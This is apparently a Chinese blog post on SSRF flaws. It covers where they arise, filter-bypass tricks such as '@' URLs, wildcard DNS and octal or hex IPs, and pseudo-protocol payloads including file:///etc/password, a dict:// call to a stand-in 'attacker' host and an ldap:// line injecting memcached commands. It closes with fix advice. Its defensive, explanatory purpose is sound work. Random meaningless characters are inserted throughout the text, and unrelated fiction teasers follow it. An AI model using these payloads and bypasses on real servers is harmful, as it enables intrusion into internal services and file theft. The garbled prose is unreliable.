SSRF漏洞原理是什么?利用時(shí)有哪些偽協(xié)議恭垦?

漏洞原理

利用一個(gè)可以發(fā)起網(wǎng)絡(luò)請(qǐng)求的服務(wù)當(dāng)作跳板來攻擊內(nèi)部其他服務(wù)快毛。

ssrf用處

探測(cè)內(nèi)網(wǎng)信息,用協(xié)議探ftp%26ip={ip}%26port={port}

攻擊內(nèi)網(wǎng)或本地其他服務(wù)

穿透防火墻

漏洞處

能夠?qū)ν獍l(fā)起網(wǎng)絡(luò)請(qǐng)求的地方

請(qǐng)求遠(yuǎn)程服務(wù)器資源的地方

數(shù)據(jù)庫內(nèi)置功能

郵件系統(tǒng)

文件處理

在線處理工具

舉幾個(gè)例子:

在線識(shí)圖,在線文檔翻譯署照,分享,訂閱等吗浩,這些有的都會(huì)發(fā)起網(wǎng)絡(luò)請(qǐng)求建芙。

根據(jù)遠(yuǎn)程URL上傳,靜態(tài)資源圖片等懂扼,這些會(huì)請(qǐng)求遠(yuǎn)程服務(wù)器的資源禁荸。

數(shù)據(jù)庫的比如mongodb的copyDatabase函數(shù),這點(diǎn)看豬豬俠講的吧阀湿,沒實(shí)踐過赶熟。

郵件系統(tǒng)就是接收郵件服務(wù)器地址這些地方。

文件就找ImageMagick陷嘴,xml這些映砖。

從URL關(guān)鍵字中尋找,比如:source,share,link,src,imageurl,target等灾挨。

繞過姿勢(shì)

http://example.com@127.0.0.1

利用IP地址的省略寫法繞過,[::]繞過localhost

DNS解析 http://127.0.0.1.xip.io/? 可以指向任意ip的域名:xip.io

利用八進(jìn)制IP地址繞過,利用十六進(jìn)制IP地址,繞過利用十進(jìn)制的IP地址繞過

利用協(xié)議

https://www.secpulse.com/archives/70471.html

接受ua為curl的時(shí)候邑退,支持的協(xié)議有

使用curl -v http://xx.com/ssrf.php?url=sxxx

file://

ssrf.php?url=file:///etc/password

Dict://

dict://<user-auth>@<host>:<port>/d:<word>

ssrf.php?url=dict://attacker:11111/

SFTP://

ssrf.php?url=sftp://example.com:11111/

TFTP://

ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET

LDAP://

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Gopher://

漏洞修復(fù)

https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html

檢查是否為內(nèi)網(wǎng)IP地址繞過方法:? 利用八進(jìn)制IP地址繞過? 利用十六進(jìn)制IP地址繞過? 利用十進(jìn)制的IP地址繞過? 利用IP地址的省略寫法繞過最好的做法:IP地址轉(zhuǎn)換為整數(shù)再進(jìn)行判斷

獲取真正請(qǐng)求的host

如何正確的獲取用戶輸入的URL的Host?最常見的就是劳澄,使用http://233.233.233.233@10.0.0.1:8080/地技、http://10.0.0.1#233.233.233.233這樣的URL,讓后端認(rèn)為其Host是233.233.233.233秒拔,實(shí)際上請(qǐng)求的卻是10.0.0.1莫矗。這種方法利用的是程序員對(duì)URL解析的錯(cuò)誤,有很多程序員甚至?xí)谜齽t去解析URL砂缩。使用urllib.parse可以解析真正的hostname

只要Host只要不是內(nèi)網(wǎng)IP即可嗎作谚?host可能為ip,可能為域名,利用xip.io繞過庵芭。方法:判斷是否為http協(xié)議食磕,獲取url的host,再解析該host喳挑,將解析到的ip再進(jìn)行檢查

只要Host指向的IP不是內(nèi)網(wǎng)IP即可嗎彬伦?不一定滔悉,可能會(huì)30x跳轉(zhuǎn)

歸納解析目標(biāo)URL,獲取其Host解析Host单绑,獲取Host指向的IP地址檢查IP地址是否為內(nèi)網(wǎng)IP請(qǐng)求URL如果有跳轉(zhuǎn)回官,拿出跳轉(zhuǎn)URL,執(zhí)行1

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末搂橙,一起剝皮案震驚了整個(gè)濱河市歉提,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌区转,老刑警劉巖苔巨,帶你破解...
    沈念sama閱讀 219,039評(píng)論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異废离,居然都是意外死亡侄泽,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,426評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門蜻韭,熙熙樓的掌柜王于貴愁眉苦臉地迎上來悼尾,“玉大人,你說我怎么就攤上這事肖方」胛海” “怎么了?”我有些...
    開封第一講書人閱讀 165,417評(píng)論 0 356
  • 文/不壞的土叔 我叫張陵俯画,是天一觀的道長(zhǎng)析桥。 經(jīng)常有香客問我,道長(zhǎng)艰垂,這世上最難降的妖魔是什么烹骨? 我笑而不...
    開封第一講書人閱讀 58,868評(píng)論 1 295
  • 正文 為了忘掉前任,我火速辦了婚禮材泄,結(jié)果婚禮上沮焕,老公的妹妹穿的比我還像新娘。我一直安慰自己拉宗,他們只是感情好峦树,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,892評(píng)論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著旦事,像睡著了一般魁巩。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上姐浮,一...
    開封第一講書人閱讀 51,692評(píng)論 1 305
  • 那天谷遂,我揣著相機(jī)與錄音,去河邊找鬼卖鲤。 笑死肾扰,一個(gè)胖子當(dāng)著我的面吹牛畴嘶,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播集晚,決...
    沈念sama閱讀 40,416評(píng)論 3 419
  • 文/蒼蘭香墨 我猛地睜開眼窗悯,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來了偷拔?” 一聲冷哼從身側(cè)響起蒋院,我...
    開封第一講書人閱讀 39,326評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎莲绰,沒想到半個(gè)月后欺旧,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,782評(píng)論 1 316
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡蛤签,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,957評(píng)論 3 337
  • 正文 我和宋清朗相戀三年辞友,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片顷啼。...
    茶點(diǎn)故事閱讀 40,102評(píng)論 1 350
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡踏枣,死狀恐怖昌屉,靈堂內(nèi)的尸體忽然破棺而出钙蒙,到底是詐尸還是另有隱情,我是刑警寧澤间驮,帶...
    沈念sama閱讀 35,790評(píng)論 5 346
  • 正文 年R本政府宣布躬厌,位于F島的核電站,受9級(jí)特大地震影響竞帽,放射性物質(zhì)發(fā)生泄漏扛施。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,442評(píng)論 3 331
  • 文/蒙蒙 一屹篓、第九天 我趴在偏房一處隱蔽的房頂上張望疙渣。 院中可真熱鬧,春花似錦堆巧、人聲如沸妄荔。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,996評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽啦租。三九已至,卻和暖如春荒揣,著一層夾襖步出監(jiān)牢的瞬間篷角,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,113評(píng)論 1 272
  • 我被黑心中介騙來泰國打工系任, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留恳蹲,地道東北人虐块。 一個(gè)月前我還...
    沈念sama閱讀 48,332評(píng)論 3 373
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像阱缓,于是被迫代替她去往敵國和親非凌。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,044評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容

  • 米斯特白帽培訓(xùn)講義 漏洞篇 SSRF 講師:gh0stkey 整理:飛龍 協(xié)議:CC BY-NC-SA 4.0 很...
    布客飛龍閱讀 1,534評(píng)論 0 9
  • SSRF(Server-Side Request Forgery:服務(wù)器端請(qǐng)求偽造) 是一種由攻擊者構(gòu)造形成由服務(wù)...
    Seaer閱讀 1,592評(píng)論 0 3
  • 0x00原理 一般的請(qǐng)求:客戶端發(fā)起請(qǐng)求荆针,服務(wù)器響應(yīng)敞嗡。 另外一種請(qǐng)求:客戶端發(fā)起請(qǐng)求(向服務(wù)端提供一個(gè)URL),服...
    0x525c閱讀 2,502評(píng)論 0 1
  • (Server-Side Request Forgery航背,服務(wù)器端請(qǐng)求偽造):通俗的來說就是我們可以偽造服務(wù)器端發(fā)...
    ambition_wy閱讀 2,795評(píng)論 0 1
  • (Server-Side Request Forgery喉悴,服務(wù)器端請(qǐng)求偽造):通俗的來說就是我們可以偽造服務(wù)器端發(fā)...
    傻傻笨笨寶寶閱讀 10,975評(píng)論 0 7